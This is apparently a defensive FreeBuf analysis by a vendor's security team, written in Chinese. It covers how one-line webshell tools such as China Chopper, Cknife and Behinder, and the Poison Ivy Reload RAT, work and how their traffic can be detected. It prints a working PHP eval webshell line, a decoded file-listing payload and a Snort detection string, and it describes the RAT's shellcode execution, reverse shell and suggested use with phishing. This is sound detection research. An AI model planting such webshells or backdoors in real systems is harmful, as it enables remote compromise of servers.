从防护角度看一句话木马的发展变形
2020-03-12 09:00:47 Author: www.freebuf.com(查看原文) 阅读量:197 收藏

一、前言

一句话木马用到了一个比较有趣的命令下发思路,即不直接发送命令编码,而是将命令代码直接发送给木马端执行,这样木马端文件会特别小,而由于每条命令需要通过网络传输,数据包会比较大。这些工具的流量也是ips,waf等网络安全设备的检测重点。

一句话木马的发展主要有几个典型的代表:最开始是中国菜刀,接着是开源的Cknife和中国蚁剑,到近两年的冰蝎,攻击工具一直在进化。其实还有个神奇的二进制远控 Poison Ivy,说它神奇就在于它相当于一个二进制的一句话工具,直接传送shellcode到被控端执行,而且据说这个远控是比较早(零几年就出现了),有高手在github重写了一份代码可以来学习,感谢Ckinfe,蚁剑,冰蝎(虽然没开源,但是并没有做加密混淆)和PI Reload这些作者的开源精神,我也只分享一下自己粗浅的分析和学习,分析目的也是促进我们防护规则和检测思路的优化,欢迎大佬们指点交流。

二、WEB一句话木马

菜刀,Cknife,蚁剑这些工具原理比较接近,使用方法大家应该比较熟了☺,可能有些做渗透测试的朋友也没有了解过原理。我们做防护规则,对常用的工具都会做分析,先以Cknife为例来分析这个系列。

2.1Ckinife连接

2.1.1 PHP一句话连接

Asp,aspx和PHP的连接原理比较接近,PHP最基础的一句话如下:

<?php @eval($_POST[‘pass’]);?>

通过Cknife等发包工具,把需要执行的php脚本片段,通过密码pass参数传给服务器端,服务器通过eval函数进行执行。可以看出,一句话木马的本质是PHP,ASP(ASPX)语言具有eval函数,使之具有了动态性,基于动态性,攻击者就可以把命令传给服务器端的一句话木马进行执行,这些命令在config.ini作了定义。

image.png发的请求包中,action参数用来传输base64编码后的命令,可能是考虑到特殊字符容易出问题或者不符合rfc协议之类的原因。真正的连接密码pass,先对action参数做base64解密,然后传到服务器端执行。

image.png我们把PHP命令做解码,得到

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("-

|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();

可以看到通过循环遍历某个路径下的文件,其中路径又是通过z1参数base64编码进行传递,截图是查看C盘目录。

2.1.2PHP一句话连接流量检测

截取了一个snort的开源规则,他检测的字符串是=@eval(base64_decode($_POST,如下

image.png根据规则的描述信息来看,是基于13年fireeye的分析中国菜刀的文章添加的规则,个人认为这条规则还是写的太严格了,其实直接看抓到的cknife报文,就无法匹配菜刀的这条规则,

image.png如上图Cknife的payload中,eval后面带了一个\x01。Ips、waf规则其实只要不影响业务,也是越简单越好,避免漏报。

2.1.3JSP一句话连接

Java由于没有eval函数,所以最开始是没有一句话木马的,但是由于菜刀/Cknife这类工具太好用了,jspspy这种大马又比较大,所以有高手写了一个带简单功能的webshell,通过定制(customize)方式来传输命令码,我理解customize是传控制码而不传输命令,其流量如下:

image.png2.1.4JSP一句话连接流量检测

这种比较短的请求就不太好检测了,一般思路就是按照流量来检测,写规则基本也是把常见的工具都遍历一遍,然后找找规律,包括参数名,参数值等。

2.2冰蝎连接

由于Cknife菜刀的明文传输可以被检测到,有高手写了一个加密的一句话工具冰蝎。作者在先知社区对冰蝎的原理作了详细的讲解,我觉得最有意思的是这个一句话木马做到了java语言真正的一句话。

image.png提交给被控端的数据先做解密,解密后的数据作为class文件的字节码,通过自定义classloader的get方法,调用父类defineclass方法动态生成一个类,然后调用其重载的equals函数执行命令。还有一些细节作者也有讲,比如父类defineclass方法是protect属性,正好子类可以直接调用,继承父类classloader还可以避免不同的classloader找不到相关类。重载的equals函数接受pagecontext参数,可以调用页面的参数并设置应答内容。

image.png对于php和asp,aspx作者也使用类似的手法做了加密和变形,这些跟菜刀/Cknife的原理都不一样了,思路非常值得学习,但是流量就很难检测了:-(。

三、二进制一句话木马

起因是看到github上面开源了一个poison ivy的RAT,是国内作者重写的名为poison ivy reload的项目,注释比较完整。这个大名鼎鼎的远控思路跟菜刀是一致的,命令通过shellcode传输,由于shellcode不需要重定位代码,直接分配内存就可以执行命令了,并且不仅命令是shellcode,木马本身就是shellcode。据说今年hw的第一天,就有攻击队钓鱼用的就是这个远控。

3.1poison ivy reload

控制端在Client文件夹,被控端在loader文件夹。先看被控端:

3.1.1被控端

相关配置文件和函数地址定义在global_data_t这个结构,使用到宏指令生成了非常紧凑的结构。下面是生成客户端的配置,包括配置连接方式、启动项、连接密码等。

image.png

下面是api地址,需要在加载后重新计算偏移后进行修复

image.pngloader_main是主要的入口,初始化global_config配置,然后根据配置主动外联控制端,首先是发包,做一个17字节的头部发送给控制端上线

image.png然后rc4加密后发送出去,等待接收shellcode命令,收到数据后,进行rc4解密,然后分配内存,解压缩并拷贝数据到这块内存,执行代码。

image.png木马有2种启动方式,本进程启动或者远程注入到ie启动。

image.png

可选的启动项:

image.png3.1.2控制端

控制端是delphi编写,不过重点也是用到了一些shellcode,shellcode代码还是在loader文件夹下面,其中function目录是基础控制函数,包括入口的shell_main.c,是控制端传过来的第一段shellcode,会初始化相关结构并且作为整体的消息处理框架,information是收集被控端的本地信息并回传,cmdshell是反弹cmd端口,screenspy是抓取屏幕,process是列当前进程,thumbnail是获取图标。

image.pngloader_function和extra_function目录下面有一些其他功能函数,包括添加启动项、远程注入、socks5连接等。作者注释掉了生成shellcode的代码,修复后可以用shellcode方式执行,结合office文档漏洞钓鱼是一个不错的选择。

3.1.3通信流量

可以看看PI的上线流量。第一次交互主要是被控端上线,控制端发送shellcode_main的shellcode作为被控端的消息处理框架。

image.png

第二次交互则是被控端请求information的shellcode,即需要函数代码来提取本机的信息,但是这些函数都以shellcode形式存在控制端。

image.png传输的这些函数包括下面的获取局域网信息get_lan_info,获取操作系统版本get_os_version,获取cpu频率get_cpu_frequency等。

image.png第三次交互就是执行这些shellcode回传结果了

image.png结果回显

image.png每次交互的结果也会在stat标签页打印出来

image.png

3.1.4Poison Ivy Reload连接流量检测

这种加密流量ips之类的网络就比较难识别了。由于PI前期的上线流量比较固定,而且还有大量的ping pong心跳包,我觉得还是可以考虑从这些规律入手,即不通过传统特征匹配,而通过会话统计进行检测。

目前分析的是开源的PI Reload,也只是做了最简单的分析和测试,看了一下会话交互流量,我觉得更值得学习的是作者深厚的开发功底和调试技术。

四、总结

对于这些一句话木马工具,现有的技术手段比较难检测了,主要原因在于交互流量加密,并且协议的私有性,很难通过特征匹配,后续可能还是通过态势感知系统之类的分析统计功能会有效一些,这方面的问题我们团队也一直在思考和测试。由于水平有限,欢迎大家指出文中的错误和交流指教

参考资料:

https://github.com/killeven/Poison-Ivy-Reload

https://github.com/rebeyond/Behinder

一并感谢参考过的其他技术分享博客

*本文作者:新华三攻防团队,转载请注明来自FreeBuf.COM


文章来源: https://www.freebuf.com/articles/web/229172.html
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